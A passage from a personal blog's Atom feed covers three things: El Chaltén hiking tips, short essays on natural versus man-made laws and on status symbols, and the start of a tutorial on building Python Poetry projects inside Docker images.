         alt="A scenic viewpoint at Mirador De Las Aguillas offers panoramic views of the surrounding landscape, part of a hiking trail that takes roughly 30 minutes one way." width="905"/> </a>
</figure>

<p>And while returning, you can do the Mirador De Las Condores (Condor viewpoint) in another 20 minutes. This gives a nice view of El Chaltén town.</p>
<figure>
    
    <a href="el-chalten-mirados-de-los-condores-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-chalten-mirados-de-los-condores-1024x768.jpg"
         alt="Signs at Las Condores viewpoint, with a scenic view of El Chaltén town in the distance, indicate a 20-minute hike." width="905"/> </a>
</figure>

<p>Starting at 10 AM, one can finish all three hikes by 4 PM. This leaves ample time before the 6 PM bus from El Chaltén to 
<a href="/travel/el-calafate-patagonia-argentina/">El Calafate</a>.</p>
<h3 id="note">Note</h3>
<ol>
<li>The easiest way to get to El Chaltén is to fly to El Calafate (FTE) airport. And then take a ~2-1/2 hour bus journey to El Chaltén. It costs 4600 AEP. Do check   
    
    
<a href="https://www.rome2rio.com/map/FTE-LAGO-ARGENTINO-El-Calafate/El-Chalt%C3%A9n#r/Bus?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bus schedules</a> while planning.</li>
<li>The bus from El Chaltén to El Calafate is for 5800 AEP.</li>
<li>On the bus journey, all the interesting things are on the west side. Left side while going to El Chaltén and right side when returning to El Calafate.</li>
<li>There are buses to continue further north to Bariloche as well.</li>
<li>At the time of this writing, 1 USD ~ 466 AEP (blue dollar rate).</li>
<li>If you have time to drive/take a bus consider going to   
    
    
<a href="https://www.patagonia.com.ar/El&#43;Chalt%C3%A9n/891_Lago&#43;del&#43;Desierto.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lago Del Desierto</a> or the desert lake.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/argentina" term="argentina" label="argentina"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Natural Laws vs Man-made Laws</title><link href="https://ashishb.net/short-stories/natural-laws-vs-man-made-laws/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/real-vs-artificial-world/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs artificial world"/><link href="https://ashishb.net/short-stories/prague-airport/?utm_source=atom_feed" rel="related" type="text/html" title="At the Prague airport"/><link href="https://ashishb.net/short-stories/illegal-immigrants-in-cairo/?utm_source=atom_feed" rel="related" type="text/html" title="Illegal immigrants to Europe via Cairo"/><link href="https://ashishb.net/short-stories/on-a-bus-with-an-asylee/?utm_source=atom_feed" rel="related" type="text/html" title="On a bus with an asylum seeker"/><id>https://ashishb.net/short-stories/natural-laws-vs-man-made-laws/</id><author><name>Ashish Bhatia</name></author><published>2024-01-31T17:00:03+00:00</published><updated>2024-01-31T17:00:03+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the pitfalls of property investments abroad in &ldquo;Love and Lies on the Nile.&rdquo; Learn why understanding natural vs. man-made laws is crucial.</blockquote><p>An American&rsquo;s   
    
    
<a href="https://khmezek.substack.com/p/love-and-lies-on-the-nile?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">experience</a> in Luxor made me write this. The story is long and vivid, but the core theme is how she and many other foreigners were duped into buying and then selling properties losing money in the process.</p>
<p>As someone who grew up in India and now lives in the US, I have noticed this disconnect.</p>
<p>People born in America, irrespective of their ethnicity, fail to understand the difference between natural and man-made laws.</p>
<p>One reason might be that Americans never rarely see either of them being violated.</p>
<p>In my native language, Hindi, the terms used are different, &ldquo;Niyam/नियम&rdquo; for natural laws and &ldquo;Vidhaan/विधान&rdquo; for man-made laws. While in English, both of these are called &ldquo;laws&rdquo;.</p>
<p>A natural law like gravitation is enforced everywhere by nature. No one can jump 20 ft from the ground to your rooftop in Luxor or Los Angeles. However, the law of private property is man-made. It is strongly enforced in the Western world. In the global south, the enforcement isn&rsquo;t as consistent. New Yorkers might visit Arizona for a week, buy a house, and then disappear for months, that does not happen in other parts of the world. The protection costs a lot of money. And that&rsquo;s why a water-facing villa in Los Angeles wouldn&rsquo;t come for less than a million while the same house might be only $50,000 in Luxor. Those who know can pull off a 10X investment in Luxor. Those who don&rsquo;t will lose it all.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Status Symbol</title><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/indians-and-food/?utm_source=atom_feed" rel="related" type="text/html" title="Indians and food"/><id>https://ashishb.net/misc/status-symbol/</id><author><name>Ashish Bhatia</name></author><published>2024-01-27T17:00:06+00:00</published><updated>2024-01-27T17:00:06+00:00</updated><content type="html"><![CDATA[<blockquote>Experience the evolution of status symbols: from pricy Walkmans to luxury headphones and long camera lenses. Discover how tech trends shape our desires.</blockquote><p>When Sony&rsquo;s Walkman was expensive, we used them with cheap earphones. Once the music players were cheap, we shifted to more expensive headphones as a status symbol.</p>
<p>Once cameras became cheap enough, we shifted to long lenses as a status symbol.</p>
<figure>
    
    <a href="telephoto-300x125.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="telephoto-300x125.jpg"
         alt="A long telephoto camera lens" width="300"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Best practices for using Python &amp; Poetry inside Docker</title><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/python-in-production-2/?utm_source=atom_feed" rel="related" type="text/html" title="How to run Python in production"/><link href="https://ashishb.net/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/?utm_source=atom_feed" rel="related" type="text/html" title="Hermetic docker images with Hugging Face machine learning models"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><id>https://ashishb.net/programming/using-python-poetry-inside-docker/</id><author><name>Ashish Bhatia</name></author><published>2024-01-13T17:00:08+00:00</published><updated>2024-01-13T17:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why Poetry is the top choice for Python builds in 2023 and learn how to optimize Docker images for a Flask server with multi-stage builds to save 33% space.</blockquote><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://pycoders.com/issues/615?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in Pycoder&rsquo;s Weekly" loading="lazy" src="/img/pycoders-weekly-badge.svg"></a></td>
          <td>  
    
    
<a href="https://python.libhunt.com/newsletter/399?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Awesome Python Weekly Newsletter" loading="lazy" src="/img/libhunt-badge.svg"></a></td>
      </tr>
  </tbody>
</table>
<p>Poetry is a great build system.
And in 2023, I believe, no one should use the <code>pip</code> for a private Python codebase.</p>
<p>Getting it right inside Docker is a different issue, however.</p>
<p>Consider a simple Flask-based web server as an example</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Install poetry</span>
</span></span><span style="display:flex;"><span>$ pip3 install <span style="color:#268bd2">poetry</span><span style="color:#719e07">==</span>2.0.1
</span></span><span style="display:flex;"><span>$ poetry --version
</span></span><span style="display:flex;"><span>Poetry <span style="color:#719e07">(</span>version 2.0.1<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Create a sample package</span>
</span></span><span style="display:flex;"><span>$ poetry init --python<span style="color:#719e07">=</span>~3.10 --name<span style="color:#719e07">=</span>src --description<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;Flask Hello world&#39;</span> --dependency<span style="color:#719e07">=</span>Flask@3.0.0 --author<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;Ashish&#39;</span> --license<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;Apache 2.0&#39;</span> --no-interaction
</span></span><span style="display:flex;"><span>$ poetry install
</span></span><span style="display:flex;"><span>$ touch README.md
</span></span><span style="display:flex;"><span>$ mkdir src
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Create a file src/server.py in your favorite editor</span>
</span></span><span style="display:flex;"><span>$ cat src/server.py
</span></span><span style="display:flex;"><span>from flask import Flask
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">app</span> <span style="color:#719e07">=</span> Flask<span style="color:#719e07">(</span>__name__<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route<span style="color:#719e07">(</span><span style="color:#2aa198">&#34;/&#34;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>def hello_world<span style="color:#719e07">()</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> <span style="color:#2aa198">&#34;&lt;p&gt;Hello, World!&lt;/p&gt;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> <span style="color:#268bd2">__name__</span> <span style="color:#719e07">==</span> <span style="color:#2aa198">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>  app.run<span style="color:#719e07">()</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Let&rsquo;s finish the build process
Now, let&rsquo;s add a simple Dockerfile titled <code>Dockerfile1</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.10-slim as base</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install Poetry</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> pip3 install <span style="color:#268bd2">poetry</span><span style="color:#719e07">==</span>2.0.1
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> pyproject.toml poetry.lock /app
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install dependencies</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> poetry install
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /app/src
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;poetry&#34;</span>, <span style="color:#2aa198">&#34;run&#34;</span>, <span style="color:#2aa198">&#34;python&#34;</span>, <span style="color:#2aa198">&#34;src/server.py&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And let&rsquo;s build and check its size</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span>$ docker build -f Dockerfile1 -t example1 . <span style="color:#719e07">&amp;&amp;</span> docker image inspect example1 --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i
</span></span><span style="display:flex;"><span>235Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>We don&rsquo;t need poetry in the final build, so, we can save space via multi-stage docker builds.</p>
<p>Consider following the multi-stage docker file <code>Dockerfile2</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
